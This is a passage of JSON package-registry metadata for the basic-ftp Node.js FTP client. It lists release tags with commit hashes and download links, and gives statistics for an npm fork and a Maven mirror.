osts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0/manifests"},{"name":"v2.8.3","sha":"07af61fa353f485cbc0741d00e24e3ccdd68d87d","kind":"tag","published_at":"2018-02-28T18:13:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3/manifests"},{"name":"v2.8.2","sha":"d19d6f8cc6262ed35c404169db2507b43ac9ba7a","kind":"tag","published_at":"2018-02-12T18:10:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2/manifests"},{"name":"v2.8.1","sha":"f3f80976c21623e50f51cab48a2fc1b766f8bc37","kind":"tag","published_at":"2018-02-08T17:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"bc93080f0223067665021001f94bc19619be8968","kind":"tag","published_at":"2018-02-03T06:52:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0/manifests"},{"name":"v2.7.1","sha":"27e90d8b50271c229ac59d914c16b9bd13d8712d","kind":"tag","published_at":"2018-01-31T13:02:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1/manifests"},{"name":"v2.7.0","sha":"251191cc2c2d8b0aa208777e1c32dc42a8904383","kind":"tag","published_at":"2018-01-31T12:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0/manifests"},{"name":"v2.6.2","sha":"838de7f0688634bcf4aff67ab7c869b24ce00f02","kind":"tag","published_at":"2018-01-30T21:11:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2/manifests"},{"name":"v2.6.1","sha":"624ce1caec7c273190e63150ec5063a6df6c756d","kind":"tag","published_at":"2018-01-29T16:18:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1/manifests"},{"name":"v2.6.0","sha":"345cae67fd86fb42c935886cbc696eb503a2d831","kind":"tag","published_at":"2018-01-29T11:25:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0/manifests"},{"name":"v2.5.2","sha":"0e78c6ab45a29c0a89f259cd0de24d3f2788ea2f","kind":"tag","published_at":"2018-01-24T18:09:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2/manifests"},{"name":"v2.5.1","sha":"37a4d6ab1a018c929f0ac7a85b1367e7e20ef3d0","kind":"tag","published_at":"2018-01-24T10:06:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1/manifests"},{"name":"v2.5.0","sha":"ccfa95fe4c8b2a816f3ea3a704ed56c6f90cce6c","kind":"tag","published_at":"2018-01-24T10:04:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0/manifests"},{"name":"v2.4.2","sha":"1fb6d04bc34a85be555ec55d1ba6c31fa45d1051","kind":"commit","published_at":"2018-01-20T12:39:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"6322a864584c95b62687b23cd37e57905663ca6c","kind":"commit","published_at":"2018-01-20T11:47:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"306418be304fdeac9cf9b0ec52fef67458da793f","kind":"tag","published_at":"2018-01-15T21:32:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0/manifests"},{"name":"v2.3.3","sha":"070324be160af7f7e1408823eaa61c95b34fef0a","kind":"tag","published_at":"2018-01-14T17:55:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3/manifests"},{"name":"v2.3.2","sha":"f378b1b47dca0dd6aad8b98fa059994c74899039","kind":"tag","published_at":"2018-01-14T15:45:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2/manifests"},{"name":"v2.3.1","sha":"f31e1b396304968faca207b259399663e54a2134","kind":"tag","published_at":"2018-01-14T08:49:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1/manifests"},{"name":"v2.3.0","sha":"0b94f445c32fab5741621e5f25be0b4e2d0c3852","kind":"tag","published_at":"2018-01-13T21:04:02.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0/manifests"},{"name":"v2.2.1","sha":"bcbe53c1c4bfe7a0bdddb053bd236853f1f27dbe","kind":"tag","published_at":"2018-01-13T20:38:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"3d7a0690205e78c7792724f013ef3910e0ef77aa","kind":"tag","published_at":"2018-01-13T17:30:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"c4a3c00eec9753fb4fa684967fda7c76c43e1f7d","kind":"tag","published_at":"2018-01-12T19:14:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"0392e12a52d3ab2cacca643b582b1f2b898b0836","kind":"tag","published_at":"2018-01-10T12:37:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0/manifests"},{"name":"v1.2.0","sha":"e55c94c461a5ab0c0740221458222e8773faa908","kind":"tag","published_at":"2018-01-07T08:22:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"a354d92fc576e4e98c61fa319e3f879b3991b0ae","kind":"tag","published_at":"2018-01-06T18:03:14.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"3d663e02aaf7169eb6fe07dd7250ef0dfd9d6280","kind":"tag","published_at":"2018-01-06T17:07:58.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0/manifests"},{"name":"v1.0.9","sha":"2d35713910994baaabcf78dcc805cd8996dd3bbd","kind":"tag","published_at":"2018-01-04T21:00:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.9","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9/manifests"},{"name":"v1.0.8","sha":"e3ff76ad996a48291e96212c301554a8a72cf190","kind":"tag","published_at":"2018-01-04T17:03:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.8","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8/manifests"},{"name":"v1.0.7","sha":"cdbca2c538820c15fdadac8be6aea8931fd891ea","kind":"tag","published_at":"2018-01-04T06:34:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.7","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7/manifests"},{"name":"1.0.6","sha":"fad9e33b2fb8b6e8adf241136449acb71b09a724","kind":"tag","published_at":"2018-01-03T11:50:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/1.0.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6/manifests"},{"name":"v1.0.5","sha":"4789d0bbb9c69495ae575a5b2b01ddaf0c1cd80a","kind":"tag","published_at":"2018-01-02T14:36:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"749d64f17b5afcbcec024c980c23709165a24d03","kind":"tag","published_at":"2017-12-31T17:18:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"964b3ece50267c599c3169b0f9c57f8796149b57","kind":"tag","published_at":"2017-12-31T17:18:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"ab8d752c781aedfee1b681bb8344a2789c265bf2","kind":"tag","published_at":"2017-12-30T23:15:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2/manifests"}]},"repo_metadata_updated_at":"2026-08-20T10:14:09.436Z","dependent_packages_count":1,"downloads":1668,"downloads_period":"last-month","dependent_repos_count":1,"rankings":{"downloads":4.301706700184274,"dependent_repos_count":10.303930935826395,"dependent_packages_count":20.919690699359002,"stargazers_count":2.8504949628861955,"forks_count":3.3219386481734383,"docker_downloads_count":null,"average":8.33955238928586},"purl":"pkg:npm/basic-ftp-ext","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/basic-ftp-ext","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/basic-ftp-ext","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/basic-ftp-ext/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-20T09:37:25.880Z","issues_count":125,"pull_requests_count":35,"avg_time_to_close_issue":10598646.875,"avg_time_to_close_pull_request":13587561.0,"issues_closed_count":112,"pull_requests_closed_count":30,"pull_request_authors_count":18,"issue_authors_count":108,"avg_comments_per_issue":2.872,"avg_comments_per_pull_request":1.5142857142857142,"merged_pull_requests_count":11,"bot_issues_count":0,"bot_pull_requests_count":13,"past_year_issues_count":4,"past_year_pull_requests_count":11,"past_year_avg_time_to_close_issue":654818.0,"past_year_avg_time_to_close_pull_request":1455858.4545454546,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":4,"past_year_avg_comments_per_issue":0.5,"past_year_avg_comments_per_pull_request":1.2727272727272727,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":9,"past_year_merged_pull_requests_count":2,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/issues","maintainers":[{"login":"patrickjuchli","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}],"active_maintainers":[{"login":"patrickjuchli","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp-ext/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp-ext/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp-ext/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp-ext/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp-ext/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp-ext/codemeta","maintainers":[{"uuid":"universehan","login":"universehan","name":null,"email":"hanwool.seok@gmail.com","url":null,"packages_count":1,"html_url":"https://www.npmjs.com/~universehan","role":null,"created_at":"2022-11-11T13:50:31.638Z","updated_at":"2022-11-11T13:50:31.638Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/universehan/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5777787,"maintainers_count":1236486,"namespaces_count":421466,"keywords_count":881826,"github":"npm","metadata":{"funded_packages_count":189888,"rate_limit":2},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-08-24T05:03:24.460Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":12040950,"name":"org.mvnpm:basic-ftp","ecosystem":"maven","description":"FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.","homepage":"https://github.com/patrickjuchli/basic-ftp#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/patrickjuchli/basic-ftp","keywords_array":[],"namespace":"org.mvnpm","versions_count":10,"first_release_published_at":"2025-08-26T02:35:02.000Z","latest_release_published_at":"2026-08-03T02:16:23.000Z","latest_release_number":"6.2.0","last_synced_at":"2026-08-23T11:37:40.787Z","created_at":"2025-08-26T02:47:24.712Z","updated_at":"2026-08-23T11:37:40.787Z","registry_url":"https://central.sonatype.com/artifact/org.mvnpm/basic-ftp/","install_command":null,"documentation_url":"https://appdoc.app/artifact/org.mvnpm/basic-ftp/","metadata":{"repositories":["https://repo.maven.apache.org/maven2"]},"repo_metadata":{"id":41537176,"uuid":"115804484","full_name":"patrickjuchli/basic-ftp","owner":"patrickjuchli","description":"FTP client for Node.js, supports FTPS over TLS, passive mode over IPv6, async/await, and Typescript.","archived":false,"fork":false,"pushed_at":"2026-08-11T17:49:17.000Z","size":1348,"stargazers_count":734,"open_issues_count":11,"forks_count":101,"subscribers_count":8,"default_branch":"master","last_synced_at":"2026-08-20T08:24:54.025Z","etag":null,"topics":["async-await","ftp","ftps","ipv6","nodejs","promise","tls","typescript"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/patrickjuchli.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE.txt","maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2017-12-30T15:11:2